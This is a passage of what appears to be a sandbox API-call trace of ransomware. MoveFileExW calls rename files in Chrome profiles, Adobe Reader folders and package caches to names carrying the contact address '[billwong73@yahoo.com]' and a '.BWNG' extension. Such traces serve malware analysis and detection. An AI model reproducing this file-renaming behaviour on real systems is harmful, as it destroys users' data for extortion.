10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.pl_pl.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].53dMudPi-fJEby05I.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].53dmudpi-fjeby05i.bwng"), dwFlags=0x1) returned 1 [0120.013] GetTickCount () returned 0x11659c4 [0120.013] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26196554635) returned 1 [0120.021] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sk_SK.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sk_sk.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].7qzPTbRy-slOegdj8.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].7qzptbry-sloegdj8.bwng"), dwFlags=0x1) returned 1 [0120.023] GetTickCount () returned 0x11659c4 [0120.023] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26197504319) returned 1 [0120.023] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\el\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\el\\[billwong73@yahoo.com].nZXLeIlg-uKSmqoFV.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\el\\[billwong73@yahoo.com].nzxleilg-uksmqofv.bwng"), dwFlags=0x1) returned 1 [0120.024] GetTickCount () returned 0x11659c4 [0120.024] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26197654869) returned 1 [0120.025] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hr\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hr\\[billwong73@yahoo.com].H9hDUiKn-LEyxJDt1.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hr\\[billwong73@yahoo.com].h9hduikn-leyxjdt1.bwng"), dwFlags=0x1) returned 1 [0120.026] GetTickCount () returned 0x11659c4 [0120.026] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26197792573) returned 1 [0120.026] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ml\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ml\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ml\\[billwong73@yahoo.com].iqMVv510-E1onY6tx.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ml\\[billwong73@yahoo.com].iqmvv510-e1ony6tx.bwng"), dwFlags=0x1) returned 1 [0120.203] GetTickCount () returned 0x1165a70 [0120.203] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26215493232) returned 1 [0120.203] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ru\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ru\\[billwong73@yahoo.com].Co1L4459-OuFnFAiK.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ru\\[billwong73@yahoo.com].co1l4459-oufnfaik.bwng"), dwFlags=0x1) returned 1 [0120.210] GetTickCount () returned 0x1165a70 [0120.210] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26216204484) returned 1 [0120.210] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\uk\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\uk\\[billwong73@yahoo.com].xotD7Z3T-yhSxC7bE.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\uk\\[billwong73@yahoo.com].xotd7z3t-yhsxc7be.bwng"), dwFlags=0x1) returned 1 [0120.212] GetTickCount () returned 0x1165a70 [0120.212] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26216385989) returned 1 [0120.212] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\LOG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\local extension settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\log"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\[billwong73@yahoo.com].1l0GzzjJ-Wlhf3fj9.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\local extension settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\[billwong73@yahoo.com].1l0gzzjj-wlhf3fj9.bwng"), dwFlags=0x1) returned 1 [0120.213] GetTickCount () returned 0x1165a70 [0120.213] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26216532533) returned 1 [0120.213] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Secure Preferences" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\secure preferences"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\[billwong73@yahoo.com].QPAUNRZL-M5XzHVdx.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\[billwong73@yahoo.com].qpaunrzl-m5xzhvdx.bwng"), dwFlags=0x1) returned 1 [0120.216] GetTickCount () returned 0x1165a7f [0120.216] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26216812993) returned 1 [0120.216] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Local State" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\local state"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\[billwong73@yahoo.com].9kC431Od-V28zjKoW.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\[billwong73@yahoo.com].9kc431od-v28zjkow.bwng"), dwFlags=0x1) returned 1 [0120.217] GetTickCount () returned 0x1165a7f [0120.217] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26216933179) returned 1 [0120.217] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds cache\\6asvn7j7\\desktop.ini"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\[billwong73@yahoo.com].5IY8ZUjh-jbJbQAWM.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds cache\\6asvn7j7\\[billwong73@yahoo.com].5iy8zujh-jbjbqawm.bwng"), dwFlags=0x1) returned 1 [0120.223] GetTickCount () returned 0x1165a7f [0120.223] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26217522445) returned 1 [0120.223] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\03_Music_rated_at_4_or_5_stars.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\03_music_rated_at_4_or_5_stars.wpl"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\[billwong73@yahoo.com].FUKEb9kW-fK44Q8ZQ.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\[billwong73@yahoo.com].fukeb9kw-fk44q8zq.bwng"), dwFlags=0x1) returned 1 [0120.224] GetTickCount () returned 0x1165a7f [0120.224] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26217671871) returned 1 [0120.225] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\01_Music_auto_rated_at_5_stars.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\01_music_auto_rated_at_5_stars.wpl"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\[billwong73@yahoo.com].5D6ZjTSd-P6dy0wht.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\[billwong73@yahoo.com].5d6zjtsd-p6dy0wht.bwng"), dwFlags=0x1) returned 1 [0120.226] GetTickCount () returned 0x1165a7f [0120.226] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26217826687) returned 1 [0120.226] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrSecUpd10111.msp" (normalized: "c:\\programdata\\adobe\\arm\\reader_10.0.0\\adberdrsecupd10111.msp"), lpNewFileName="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\[billwong73@yahoo.com].iaoaUKo0-4SUqL8vv.BWNG" (normalized: "c:\\programdata\\adobe\\arm\\reader_10.0.0\\[billwong73@yahoo.com].iaoauko0-4suql8vv.bwng"), dwFlags=0x1) returned 1 [0120.227] GetTickCount () returned 0x1165a7f [0120.227] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26218110944) returned 1 [0120.229] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Microsoft Help\\MS.MSACCESS.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.msaccess.14.1033.hxn"), lpNewFileName="C:\\ProgramData\\Microsoft Help\\[billwong73@yahoo.com].VgzInkM6-k6iJfhVA.BWNG" (normalized: "c:\\programdata\\microsoft help\\[billwong73@yahoo.com].vgzinkm6-k6ijfhva.bwng"), dwFlags=0x1) returned 1 [0120.231] GetTickCount () returned 0x1165a8f [0120.231] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26218362967) returned 1 [0120.232] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Microsoft Help\\MS.POWERPNT.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.powerpnt.14.1033.hxn"), lpNewFileName="C:\\ProgramData\\Microsoft Help\\[billwong73@yahoo.com].SWwyjyHX-tGjFW0Uk.BWNG" (normalized: "c:\\programdata\\microsoft help\\[billwong73@yahoo.com].swwyjyhx-tgjfw0uk.bwng"), dwFlags=0x1) returned 1 [0120.233] GetTickCount () returned 0x1165a8f [0120.233] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26218482821) returned 1 [0120.233] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Microsoft Help\\MS.WINWORD.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.winword.14.1033.hxn"), lpNewFileName="C:\\ProgramData\\Microsoft Help\\[billwong73@yahoo.com].PlvpyuCh-B6L2jhtC.BWNG" (normalized: "c:\\programdata\\microsoft help\\[billwong73@yahoo.com].plvpyuch-b6l2jhtc.bwng"), dwFlags=0x1) returned 1 [0120.234] GetTickCount () returned 0x1165a8f [0120.234] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26218613067) returned 1 [0120.234] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi" (normalized: "c:\\programdata\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi"), lpNewFileName="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\[billwong73@yahoo.com].TPHhkOJb-wUND3riK.BWNG" (normalized: "c:\\programdata\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\vcruntimeadditional_amd64\\[billwong73@yahoo.com].tphhkojb-wund3rik.bwng"), dwFlags=0x1) returned 1 [0120.235] GetTickCount () returned 0x1165a8f [0120.235] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26218755262) returned 1 [0120.236] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi" (normalized: "c:\\programdata\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi"), lpNewFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\[billwong73@yahoo.com].eqxKTbjv-NPe8HFz1.BWNG" (normalized: "c:\\programdata\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\vcruntimeadditional_amd64\\[billwong73@yahoo.com].eqxktbjv-npe8hfz1.bwng"), dwFlags=0x1) returned 1 [0120.237] GetTickCount () returned 0x1165a8f [0120.237] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26218950592) returned 1 [0120.237] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi" (normalized: "c:\\programdata\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi"), lpNewFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\[billwong73@yahoo.com].e3Pswb5K-WlXrnBuH.BWNG" (normalized: "c:\\programdata\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\vcruntimeminimum_amd64\\[billwong73@yahoo.com].e3pswb5k-wlxrnbuh.bwng"), dwFlags=0x1) returned 1 [0120.239] GetTickCount () returned 0x1165a8f [0120.239] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26219109575) returned 1 [0120.239] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi" (normalized: "c:\\programdata\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi"), lpNewFileName="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\[billwong73@yahoo.com].16lajiwK-m0ThzwfP.BWNG" (normalized: "c:\\programdata\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\vcruntimeadditional_x86\\[billwong73@yahoo.com].16lajiwk-m0thzwfp.bwng"), dwFlags=0x1) returned 1 [0120.240] GetTickCount () returned 0x1165a8f [0120.240] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26219242679) returned 1 [0120.240] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wsRGB.icc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\color\\profiles\\wsrgb.icc"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\[billwong73@yahoo.com].8uXfAkts-gzyqDmd2.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\color\\profiles\\[billwong73@yahoo.com].8uxfakts-gzyqdmd2.bwng"), dwFlags=0x1) returned 1 [0120.242] GetTickCount () returned 0x1165a8f [0120.242] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26219379382) returned 1 [0120.242] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.cdf-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.cdf-ms"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\[billwong73@yahoo.com].jaFXrIVF-9o0CQZO8.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\manifests\\[billwong73@yahoo.com].jafxrivf-9o0cqzo8.bwng"), dwFlags=0x1) returned 1 [0120.243] GetTickCount () returned 0x1165a8f [0120.243] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26219505692) returned 1 [0120.243] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.zh_CN.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.zh_cn.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].MMw8ayU4-1zfbtaKr.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].mmw8ayu4-1zfbtakr.bwng"), dwFlags=0x1) returned 1 [0120.245] GetTickCount () returned 0x1165a8f [0120.245] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26219686448) returned 1 [0120.245] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\brt55.ths" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\brt55.ths"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].VsHKYvj1-AQ0vTDAq.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].vshkyvj1-aq0vtdaq.bwng"), dwFlags=0x1) returned 1 [0120.348] GetTickCount () returned 0x1165aed [0120.348] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26230051289) returned 1 [0120.349] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\can.hyp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\can.hyp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].X1Detff6-2fs6wShO.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].x1detff6-2fs6wsho.bwng"), dwFlags=0x1) returned 1 [0120.350] GetTickCount () returned 0x1165aed [0120.350] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26230225350) returned 1 [0120.350] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\ctl.hyp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\ctl.hyp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].HqLYLMO4-kCjtl957.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].hqlylmo4-kcjtl957.bwng"), dwFlags=0x1) returned 1 [0120.352] GetTickCount () returned 0x1165aed [0120.352] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26230387644) returned 1 [0120.352] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\dan94.ths" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\dan94.ths"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].O8PFPkeJ-SOB6k1IW.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].o8pfpkej-sob6k1iw.bwng"), dwFlags=0x1) returned 1 [0120.354] GetTickCount () returned 0x1165aed [0120.354] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26230584814) returned 1 [0120.354] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\est.hyp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\est.hyp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].3l9ZZL5W-GGhMrFkx.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].3l9zzl5w-gghmrfkx.bwng"), dwFlags=0x1) returned 1 [0120.356] GetTickCount () returned 0x1165afc [0120.356] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26230811507) returned 1 [0120.356] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\frn21.hsp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\frn21.hsp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].PDl7cT8z-hbTSI6FB.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].pdl7ct8z-hbtsi6fb.bwng"), dwFlags=0x1) returned 1 [0120.357] GetTickCount () returned 0x1165afc [0120.357] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26231049825) returned 1 [0120.360] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\grm32.clx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\grm32.clx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 